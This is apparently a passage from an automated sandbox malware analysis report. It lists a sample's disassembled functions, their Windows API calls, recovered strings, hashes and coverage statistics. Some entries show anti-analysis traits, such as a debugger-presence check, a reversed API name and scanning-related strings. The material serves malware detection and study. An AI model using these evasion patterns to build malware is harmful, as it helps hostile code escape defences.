                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(?,00000000,02C9AA67,?,?,00000000), ref: 02C9A9E8
                                                                                                                                                                        • Part of subcall function 02C9A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C9A762
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000000,00000004,00000000,02C9AA67,?,?,00000000), ref: 02C9AA18
                                                                                                                                                                      • EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 02C9AA23
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000000,00000003,00000000,02C9AA67,?,?,00000000), ref: 02C9AA41
                                                                                                                                                                      • EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 02C9AA4C
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Locale$InfoThread$CalendarEnum
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4102113445-0
                                                                                                                                                                      • Opcode ID: 4c33cf9249ce5c9f690244c2a934722ec86b9c20ceae4d653b2afa0f0617de20
                                                                                                                                                                      • Instruction ID: 07ff756f533817e9174193c4841567e410ff221c87b2a97649d86a49c596241f
                                                                                                                                                                      • Opcode Fuzzy Hash: 4c33cf9249ce5c9f690244c2a934722ec86b9c20ceae4d653b2afa0f0617de20
                                                                                                                                                                      • Instruction Fuzzy Hash: 2101D6716806446FFF11E6748D1AF6E735DDB46B20FA10170F610A6AD0DA74DF00AE64
                                                                                                                                                                      Function 02C9AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(?,00000000,02C9AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02C9AAAF
                                                                                                                                                                        • Part of subcall function 02C9A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C9A762
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Locale$InfoThread
                                                                                                                                                                      • String ID: eeee$ggg$yyyy
                                                                                                                                                                      • API String ID: 4232894706-1253427255
                                                                                                                                                                      • Opcode ID: f8a5dfe93aa7f229517103551623489b6e2f102af2d992607f998a9021616807
                                                                                                                                                                      • Instruction ID: a9459e11d84744fed064d2d35589e1298a61debf7019756185e38b821fe2427f
                                                                                                                                                                      • Opcode Fuzzy Hash: f8a5dfe93aa7f229517103551623489b6e2f102af2d992607f998a9021616807
                                                                                                                                                                      • Instruction Fuzzy Hash: C74116703089494BDF25EB79888C37EB3EBDB85204B504525D452DB344EB3AEE06DA21
                                                                                                                                                                      Function 02CA8018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc
                                                                                                                                                                      • String ID: AeldnaHeludoMteG$KernelBASE
                                                                                                                                                                      • API String ID: 1883125708-1952140341
                                                                                                                                                                      • Opcode ID: 6ee1ec4628390b9be29e2129ce161fb3446d9b4a5f4a3c34ce3c886e6605b30f
                                                                                                                                                                      • Instruction ID: 7e103eb08a224a20b2150523e0ca8f297f157fbff3d6d17a9e35ec0e064bbcf7
                                                                                                                                                                      • Opcode Fuzzy Hash: 6ee1ec4628390b9be29e2129ce161fb3446d9b4a5f4a3c34ce3c886e6605b30f
                                                                                                                                                                      • Instruction Fuzzy Hash: 2DF0F070644308EFEB50EFB0DC2AE5E77ADFB09B447910A60F508D3A00DA70AD04EAA0
                                                                                                                                                                      Function 02CAEB8C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KernelBase,?,02CAEF90,UacInitialize,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanString), ref: 02CAEB92
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02CAEBA4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                      • String ID: IsDebuggerPresent$KernelBase
                                                                                                                                                                      • API String ID: 1646373207-2367923768
                                                                                                                                                                      • Opcode ID: 799ea5c3c8bffb08f25e8734984a68e43cdddc1380c901dd715c38558b24dbd3
                                                                                                                                                                      • Instruction ID: 6722b1ab3417dd689cce6a3ecb753cbef3d5438ac71a6a6cca1504bf5b4d5889
                                                                                                                                                                      • Opcode Fuzzy Hash: 799ea5c3c8bffb08f25e8734984a68e43cdddc1380c901dd715c38558b24dbd3
                                                                                                                                                                      • Instruction Fuzzy Hash: EAD012B23533211EFA00B6F42CECC2E02CD8A4552E3300EB0B023D20D2E6BA88122699
                                                                                                                                                                      Function 02C9C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,02CBC10B,00000000,02CBC11E), ref: 02C9C3FA
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02C9C40B
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                      • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                                                                                                      • API String ID: 1646373207-3712701948
                                                                                                                                                                      • Opcode ID: 10335bec0a9f7e6c68ee4c4b8a5104c1e7cb62ee698a71f5c3c96accda47ac14
                                                                                                                                                                      • Instruction ID: 89bec6b7566809e1d4a0295b067a0d04c8a03960599726a7777048a913d38518
                                                                                                                                                                      • Opcode Fuzzy Hash: 10335bec0a9f7e6c68ee4c4b8a5104c1e7cb62ee698a71f5c3c96accda47ac14
                                                                                                                                                                      • Instruction Fuzzy Hash: 0FD05EB0B803404AFF01ABB1688D736368C8B4E746F005936E00355102D77286145F90
                                                                                                                                                                      Function 02C9E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02C9E217
                                                                                                                                                                      • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02C9E233
                                                                                                                                                                      • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02C9E2AA
                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 02C9E2D3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ArraySafe$Bound$ClearIndexVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 920484758-0
                                                                                                                                                                      • Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                                      • Instruction ID: 88cc4affd54d30be4aced111bd87725bc3b5607fc1de9fb5c1d558ec5518bb4c
                                                                                                                                                                      • Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                                      • Instruction Fuzzy Hash: C2412B76A006299FCF61EB58CD98BC9B3BDAF59314F0041D6E64DE7211DA34AF809F50
                                                                                                                                                                      Function 02C9ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02C9ACD9
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02C9ACFD
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(02C90000,?,00000105), ref: 02C9AD18
                                                                                                                                                                      • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02C9ADAE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3990497365-0
                                                                                                                                                                      • Opcode ID: 62d2ef73f87606964b58dbfe123f154125fb526848afc63591d17ccffb05d37b
                                                                                                                                                                      • Instruction ID: 85e9aad571da1bb397f67ff132c378db6f0acab6a50ed8af9eadf056ebc76a63
                                                                                                                                                                      • Opcode Fuzzy Hash: 62d2ef73f87606964b58dbfe123f154125fb526848afc63591d17ccffb05d37b
                                                                                                                                                                      • Instruction Fuzzy Hash: 06414A71A402589BDF21EB68CC88BDAB7FDAB08344F0000E6A548E7241DB759F88DF50
                                                                                                                                                                      Function 02C9ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02C9ACD9
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02C9ACFD
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(02C90000,?,00000105), ref: 02C9AD18
                                                                                                                                                                      • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02C9ADAE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3990497365-0
                                                                                                                                                                      • Opcode ID: 2b2b5aab54b7d4cfe84435e7801245c770962abe327bcdb43e551c8f7e5ad62c
                                                                                                                                                                      • Instruction ID: 4d11beff9598ff9303ac17eb62d5e64bcf16da6ac7391d6eeec9d55c630bfeb5
                                                                                                                                                                      • Opcode Fuzzy Hash: 2b2b5aab54b7d4cfe84435e7801245c770962abe327bcdb43e551c8f7e5ad62c
                                                                                                                                                                      • Instruction Fuzzy Hash: 6B412971A402589BDF61EB68CC88BDAB7FDAB48345F0400E6A648E7241DB759F88DF50
                                                                                                                                                                      Function 02C91C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 39eea0c2f4e7b032d85fcb381142c85f33375e3fbc007af8b508d0dfe80af595
                                                                                                                                                                      • Instruction ID: 6f90a28032eb2a21b9c31f55d5b5c9733e07f15bbd58f371357568afe2816c0b
                                                                                                                                                                      • Opcode Fuzzy Hash: 39eea0c2f4e7b032d85fcb381142c85f33375e3fbc007af8b508d0dfe80af595
                                                                                                                                                                      • Instruction Fuzzy Hash: 59A118777106064BEF19AA7C9C8E3ADB3C69BC4225F1C427ED11DCB381DBE5CA419650
                                                                                                                                                                      Function 02C9946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02C9955A), ref: 02C994F2
                                                                                                                                                                      • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02C9955A), ref: 02C994F8
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DateFormatLocaleThread
                                                                                                                                                                      • String ID: yyyy
                                                                                                                                                                      • API String ID: 3303714858-3145165042
                                                                                                                                                                      • Opcode ID: 57475cecad93b4502313d5902d6b9a86011befbed4590ea30a15c2accaa3dd1d
                                                                                                                                                                      • Instruction ID: ac099d3b6b6547ee7b5608ca2dd8a3d4bfca2ef65ce26164d463ed82982edbbf
                                                                                                                                                                      • Opcode Fuzzy Hash: 57475cecad93b4502313d5902d6b9a86011befbed4590ea30a15c2accaa3dd1d
                                                                                                                                                                      • Instruction Fuzzy Hash: 2F216B71A002189FDF25DFA8C899AAEB3B9EF49710F5100A9E945E7240D730DF40EBA5
                                                                                                                                                                      Function 02CA8184 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02CA820E), ref: 02CA81F0
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$CacheFlushInstruction
                                                                                                                                                                      • String ID: FlushInstructionCache$Kernel32
                                                                                                                                                                      • API String ID: 3811539418-184458249
                                                                                                                                                                      • Opcode ID: 8981f83d79f9683514c06f9a6810d1085542f1ce53968987284997d276ee4e39
                                                                                                                                                                      • Instruction ID: ced31a4b1b379506ab57b8a4f4cc67a3acd90cb1165a836b34922e6baeb3050b
                                                                                                                                                                      • Opcode Fuzzy Hash: 8981f83d79f9683514c06f9a6810d1085542f1ce53968987284997d276ee4e39
                                                                                                                                                                      • Instruction Fuzzy Hash: 1E01D174A40304FFEB50EFE5DC62F6A77ADEB08B00F514660F608D3600D670AD109B20
                                                                                                                                                                      Function 02CAAD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CAAD90
                                                                                                                                                                      • IsBadWritePtr.KERNEL32(?,00000004), ref: 02CAADC0
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000008), ref: 02CAADDF
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CAADEB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Read$Write
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3448952669-0
                                                                                                                                                                      • Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
                                                                                                                                                                      • Instruction ID: f49c6c53472240e498bc6a49742ba99d0953ed72c0f479bccd4d4414bba70bfe
                                                                                                                                                                      • Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
                                                                                                                                                                      • Instruction Fuzzy Hash: 0D21A2B1A4131A9BDF10DF29CC80BAEB3B9EF80759F108111EE9097380DB34DD11DAA0

                                                                                                                                                                      Execution Graph

                                                                                                                                                                      Execution Coverage:6.9%
                                                                                                                                                                      Dynamic/Decrypted Code Coverage:13.2%
                                                                                                                                                                      Signature Coverage:13%
                                                                                                                                                                      Total number of Nodes:370
                                                                                                                                                                      Total number of Limit Nodes:39
